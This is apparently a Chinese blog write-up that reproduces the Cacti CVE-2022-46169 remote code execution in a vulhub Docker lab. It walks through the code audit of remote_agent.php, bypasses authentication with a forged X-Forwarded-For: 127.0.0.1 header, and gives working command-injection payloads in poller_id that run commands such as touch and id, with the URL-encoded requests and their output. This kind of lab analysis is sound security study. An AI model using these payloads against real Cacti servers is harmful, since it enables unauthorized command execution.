复现cacti的RCE

一.准备工作

1.安装doker
复制代码
curl -fsSL https://get.docker.com | sh

并验证docker是否正确安装和检验docker compose是否可用

复制代码
docker version
docker compose version
2.克隆仓库
复制代码
git clone https://github.com/vulhub/vulhub.git

注:若不能拉取仓库,使用proxychains

复制代码
proxychains git clone https://github.com/vulhub/vulhub.git
3.选择要使用的漏洞环境
复制代码
cd vulhub/cacti/CVE-2022-46169
4.启动漏洞环境
5.通过浏览器访问漏洞应用程序
6.在docker容器中安装xdebug并启用扩展
复制代码
pecl install xdebug-3.1.6
docker-php-ext-enable xdebug
7.随后重启容器并更改配置文件
复制代码
docker restart <your-container> 
vim /usr/local/etc/php/conf.d/docker-php-ext-xdebug.ini

添加如下内容

复制代码
zend_extension=xdebug
xdebug.mode=debug
xdebug.start_with_request=yes
8.使用vscode连接容器并安装xdebug插件

二.代码审计

通过官方文档给出的信息来看,漏洞文件来自remote_agent.php

当远程客户端未授权时将会显示你没有权限并退出程序,那么就需要通过get传参请求进行绕过此if鉴权函数

php 复制代码
 if (!remote_client_authorized()) {
     print 'FATAL: You are not authorized to use this service';
     exit;
 }

而因为get传参用户是可控的,通过观察以下代码可以猜出大概率是在 poll_for_data函数中触发

php 复制代码
switch (get_request_var('action')) {
	case 'polldata':
		// Only let realtime polling run for a short time
		ini_set('max_execution_time', read_config_option('script_timeout'));

		debug('Start: Poling Data for Realtime');
		poll_for_data();
		debug('End: Poling Data for Realtime');

		break;
	case 'runquery':
		debug('Start: Running Data Query');
		run_remote_data_query();
		debug('End: Running Data Query');

		break;
	case 'ping':
		debug('Start: Pinging Device');
		ping_device();
		debug('End: Pinging Device');

		break;
	case 'snmpget':
		debug('Start: Performing SNMP Get Request');
		get_snmp_data();
		debug('End: Performing SNMP Get Request');

		break;
	case 'snmpwalk':
		debug('Start: Performing SNMP Walk Request');
		get_snmp_data_walk();
		debug('End: Performing SNMP Walk Request');

		break;
	case 'graph_json':
		debug('Start: Performing Graph Request');
		get_graph_data();
		debug('End: Performing Graph Request');

		break;
	case 'discover':
		debug('Start:Performing Network Discovery Request');
		run_remote_discovery();
		debug('End:Performing Network Discovery Request');

		break;
	default:
		if (!api_plugin_hook_function('remote_agent', get_request_var('action'))) {
			debug('WARNING: Unknown Agent Request');
			print 'Unknown Agent Request';
		}
}
function get_request_var($name, $default = '') {
     global $_CACTI_REQUEST;
     $log_validation = read_config_option('log_validation');
     if (isset($_CACTI_REQUEST[$name])) {
         return $_CACTI_REQUEST[$name];
     } elseif (isset_request_var($name)) {
         if ($log_validation == 'on') {
             html_log_input_error($name);
         }
         set_request_var($name, $_REQUEST[$name]);
         return $_REQUEST[$name]; // 这种接法使用 GET POST COOKIE都行
     } else {
         return $default;
     }
 }

而在 **poll_for_data();**函数中,有三个请求

所以需要使用get传递三个参数

action=polldata&local_ids[0]=6&host_id=1&poller_id='touch+/tmp/success'

因为发送没有回显,所以我需要使用创建文件的命令'touch+/tmp/success',查看文件是否创建成功

通过抓包我们可以获取该网站的流量,并添加X-Forwarded-For:127.0.0.1获取get_client_addr();客户端

随后我们在remote_client_authorized() 函数中插入print_r(client_addr);**获取**client_addr** 的值是否为127.0.0.1和**print_r(client_name); 打印出client_name 值是否为hostname 并用**exit;**中断程序

发送后可以看到值完全符合

而在functions.php 文件中有关于 get_client_addr函数

php 复制代码
function get_client_addr($client_addr = false) {
	$http_addr_headers = array(
		'X-Forwarded-For',
		'X-Client-IP',
		'X-Real-IP',
		'X-ProxyUser-Ip',
		'CF-Connecting-IP',
		'True-Client-IP',
		'HTTP_X_FORWARDED',
		'HTTP_X_FORWARDED_FOR',
		'HTTP_X_CLUSTER_CLIENT_IP',
		'HTTP_FORWARDED_FOR',
		'HTTP_FORWARDED',
		'HTTP_CLIENT_IP',
		'REMOTE_ADDR',
	);

	$client_addr = false;
	foreach ($http_addr_headers as $header) {
		if (!empty($_SERVER[$header])) {
			$header_ips = explode(',', $_SERVER[$header]);
			foreach ($header_ips as $header_ip) {
				if (!empty($header_ip)) {
					if (!filter_var($header_ip, FILTER_VALIDATE_IP)) {
						cacti_log('ERROR: Invalid remote client IP Address found in header (' . $header . ').', false, 'AUTH', POLLER_VERBOSITY_DEBUG);
					} else {
						$client_addr = $header_ip;
						cacti_log('DEBUG: Using remote client IP Address found in header (' . $header . '): ' . $client_addr . ' (' . $_SERVER[$header] . ')', false, 'AUTH', POLLER_VERBOSITY_DEBUG);
						break 2;
					}
				}
			}
		}
	}

	return $client_addr;
}

目前该函数中,client_addrX-Forwarded-For 走到foreach函数中进行循环,header即为X-Forwarded-For所以不为空跳到下一层循环,由于127.0.0.1为合法ip所以跳入else,将其赋值给**$client_addr**我们可以将其打印出来,这样更清晰的显示出来

跟预期一样,由此可知hostname 就是localhost

php 复制代码
	$client_name = gethostbyaddr($client_addr);
	print_r($client_name);exit;
	if ($client_name == $client_addr) {
		cacti_log('NOTE: Unable to resolve hostname from address ' . $client_addr, false, 'WEBUI', POLLER_VERBOSITY_MEDIUM);
	} else {
		$client_name = remote_agent_strip_domain($client_name);
	}

由于**client_name** 不等于**client_addr** 也就是我们的localhost 不等于127.0.0.1因此会跳入else,remote_agent_strip_domain 这个过滤函数只过滤.因此localhost 会正常返回,返回出来依然是localhost

php 复制代码
	$pollers = db_fetch_assoc('SELECT * FROM poller', true, $poller_db_cnn_id);

	if (cacti_sizeof($pollers)) {
		foreach($pollers as $poller) {
			if (remote_agent_strip_domain($poller['hostname']) == $client_name) {
				return true;
			} elseif ($poller['hostname'] == $client_addr) {
				return true;
			}
		}
	}

pollers** 里的**hostname** 在数据库表中为**localhost** 与**client_name 的值localhost 相等因此会返回true ,至此if鉴权函数已经绕过

只要有success,代码即执行成功

action 由于是get 传参因此用户可控,当action=polldata 才能触发case 'polldata' 执行**poll_for_data();**代码

**function poll_for_data()**函数中传递了三个参数:

  • 第一行代码传数组**[0]=6** 数组只有一个元素6
  • 第二行代码传参1
  • 第三行代码传命令执行如**touch+/tmp/success**
php 复制代码
function poll_for_data() {
	global $config;

	$local_data_ids = get_nfilter_request_var('local_data_ids');
	$host_id        = get_filter_request_var('host_id');
	$poller_id      = get_nfilter_request_var('poller_id');
	$return         = array();
	print_r($local_data_ids);
	print_r($host_id);
	print_r($poller_id);exit;

开始遍历

php 复制代码
$items = db_fetch_assoc_prepared('SELECT *
        FROM poller_item
        WHERE host_id = ?
        AND local_data_id = ?',
        array($host_id, $local_data_id));

通过第一个if查询到数组为

sql 复制代码
       local_data_id: 6
           poller_id: 1
             host_id: 1
              action: 2
             present: 1
        last_updated: 2025-07-25 06:10:01
            hostname: localhost
      snmp_community: public
        snmp_version: 0
       snmp_username:
       snmp_password:
  snmp_auth_protocol:
snmp_priv_passphrase:
  snmp_priv_protocol:
        snmp_context:
      snmp_engine_id:
           snmp_port: 161
        snmp_timeout: 500
            rrd_name: uptime
            rrd_path: /var/www/html/rra/local_linux_machine_uptime_6.rrd
             rrd_num: 1
            rrd_step: 300
       rrd_next_step: 0
                arg1: /var/www/html/scripts/ss_hstats.php ss_hstats '1' uptime
                arg2:
                arg3:

第二次遍历

php 复制代码
$script_server_calls = db_fetch_cell_prepared('SELECT COUNT(*)
				FROM poller_item
				WHERE host_id = ?
				AND local_data_id = ?
				AND action = 2',
				array($host_id, $local_data_id));

将数组里的action 取出,值为2

由于POLLER_ACTION_SCRIPT_PHP 值为2 ,因此将会匹配到case POLLER_ACTION_SCRIPT_PHP

进入到该case中进行第一个if函数

php 复制代码
if (function_exists('proc_open')) {
    $cactiphp = proc_open(read_config_option('path_php_binary') . ' -q ' . $config['base_path'] . '/script_server.php realtime ' . $poller_id, $cactides, $pipes);
    $output = fgets($pipes[1], 1024);
    $using_proc_function = true;
} else {
        $using_proc_function = false;
}

通过该代码的read_config_option('path_php_binary') 取出php路径执行**/usr/local/bin/php -q script_server.php realtime** touch /tmp/success

现在进行回显

php 复制代码
function is_hexadecimal($result) {
	$hexstr = str_replace(array(' ', '-'), ':', trim($result));

	$parts = explode(':', $hexstr);
	foreach($parts as $part) {
		if (strlen($part) != 2) {
			return false;
		}
		if (ctype_xdigit($part) == false) {
			return false;
		}
	}

	return true;
}

执行以下三条命令任意一条,将其进行urlenode编码

php 复制代码
|echo "test\r\n`id" | xxd -p -c 1|awk '{printf \"%s \", $0}'`"; 
|echo "test\r\n :`id | base64 -w0`"; 
|echo "test\r\n`id |base64 -w0|awk -v ORS=':' '{print $0}'`"; 

%7Cecho%20%22test%5Cr%5Cn%20%3A%60id%20%7C%20base64%20-w0%60%22%3B

最后可以得到回显

dWlkPTMzKHd3dy1kYXRhKSBnaWQ9MzMod3d3LWRhdGEpIGdyb3Vwcz0zMyh3d3ctZGF0YSkK

最后进行base64解码

得到结果:

uid=33(www-data) gid=33(www-data) groups=33(www-data)

相关推荐
cipher1 天前
ERC-4626 通胀攻击:DeFi 金库的"捐款陷阱"
前端·后端·安全
BingoGo2 天前
OpenSwoole 26.2.0 发布:支持 PHP 8.5、io_uring 后端及协程调试改进
后端·php
JaguarJack2 天前
OpenSwoole 26.2.0 发布:支持 PHP 8.5、io_uring 后端及协程调试改进
后端·php·服务端
JaguarJack3 天前
推荐 PHP 属性(Attributes) 简洁读取 API 扩展包
后端·php·服务端
BingoGo3 天前
推荐 PHP 属性(Attributes) 简洁读取 API 扩展包
php
JaguarJack4 天前
告别 Laravel 缓慢的 Blade!Livewire Blaze 来了,为你的 Laravel 性能提速
后端·php·laravel
郑州光合科技余经理4 天前
代码展示:PHP搭建海外版外卖系统源码解析
java·开发语言·前端·后端·系统架构·uni-app·php
一次旅行4 天前
网络安全总结
安全·web安全
DianSan_ERP4 天前
电商API接口全链路监控:构建坚不可摧的线上运维防线
大数据·运维·网络·人工智能·git·servlet
red1giant_star4 天前
手把手教你用Vulhub复现ecshop collection_list-sqli漏洞(附完整POC)
安全